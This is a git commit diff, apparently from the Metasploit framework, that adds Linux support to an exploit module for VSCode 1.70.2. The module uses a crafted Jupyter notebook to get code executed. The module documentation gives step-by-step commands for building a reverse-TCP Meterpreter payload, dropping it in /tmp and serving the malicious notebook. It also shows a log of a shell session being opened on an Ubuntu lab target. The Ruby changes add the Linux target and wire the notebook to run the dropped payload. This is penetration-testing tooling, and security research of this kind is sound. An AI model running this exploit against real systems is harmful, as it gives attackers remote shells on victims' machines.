Add Linux compatibility

This commit is contained in:
Jack Heysel
2024-05-13 10:11:56 -07:00
parent 01d86b6966
commit 216ffec555
2 changed files with 76 additions and 5 deletions
@@ -7,9 +7,9 @@ Each of these new windows can then execute arbitrary code at startup.
During testing, the first open of the Jupyter notebook resulted in pop-ups
displaying errors of unable to find the payload exe file. The second attempt
at opening the Jupyter notebook would result in successful exeuction.
at opening the Jupyter notebook would result in successful execution.
Successfully tested against VSCode 1.70.2 on Windows 10.
Successfully tested against VSCode 1.70.2 on Windows 10 and Ubuntu 22.04.
### Install
@@ -22,6 +22,7 @@ https://update.code.visualstudio.com/1.70.2/linux-deb-x64/stable
## Verification Steps
### Windows
1. Install the application
1. Start msfconsole
1. Do: `use modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec`
@@ -31,6 +32,24 @@ https://update.code.visualstudio.com/1.70.2/linux-deb-x64/stable
1. After the pop-up errors, open the file again.
1. You should get a shell.
### Linux
1. Install the application
1. Start msfconsole
1. Do: `use linux/x64/meterpreter/reverse_tcp`
1. Do: `set lhost [ip]` and `set lport [port]`
1. Do: `geneate -o shell.sh -f elf`
1. Copy the payload `shell.sh` to `/tmp/` on the target and run `chmod +x /tmp/shell.sh`
1. Do: `use modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec`
1. Do: `set target 1 `
1. Do: `set lhost [ip]` and `set lport [port]` - be sure to set these to the same values as in the previous step
1. Do: `set FETCH_WRITABLE_DIR /tmp/`
1. Do: `set PAYLOAD_FILENAME shell.sh`
1. Do: `run`
1. Copy the ipynd payload file to the target machine.
1. In VSCode, open the URL (File -> Open -> project.ipynb)
1. After the pop-up errors, open the file again.
1. You should get a shell.
## Options
## Scenarios
@@ -89,3 +108,41 @@ x64
C:\Users\h00die>
```
### VSCode 1.70.2 on Linux
```
msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Starting up web service...
[*] Using URL: http://172.16.199.1:8090/project.ipynb
[*] Sent project.ipynb to 172.16.199.131
[*] Sending stage (3045380 bytes) to 172.16.199.131
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.131:60298) at 2024-05-13 09:56:36 -0700
^C[-] Exploit failed [user-interrupt]: Interrupt
[*] Server stopped.
[-] run: Interrupted
msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/linux msfuser @ 172.16.199.131 172.16.199.1:4444 -> 172.16.199.131:60298 (172.16.199
msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer : 172.16.199.131
OS : Ubuntu 22.04 (Linux 6.2.0-35-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -50,6 +50,15 @@ class MetasploitModule < Msf::Exploit::Remote
}
}
],
[
'Linux File-Dropper',
{
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
@@ -67,6 +76,12 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
)
register_options(
[
OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
]
)
end
def check
@@ -87,9 +102,8 @@ class MetasploitModule < Msf::Exploit::Remote
if target['Platform'] == 'win'
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
# else
# leaving incase anyone wants to try to tackle linux at some point
# config = { 'executable' => '/bin/sh', 'args' => "-c #{payload.raw.gsub(' ', '${IFS}')}" }
else
config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
end
pload = JSON.dump({ 'config' => config })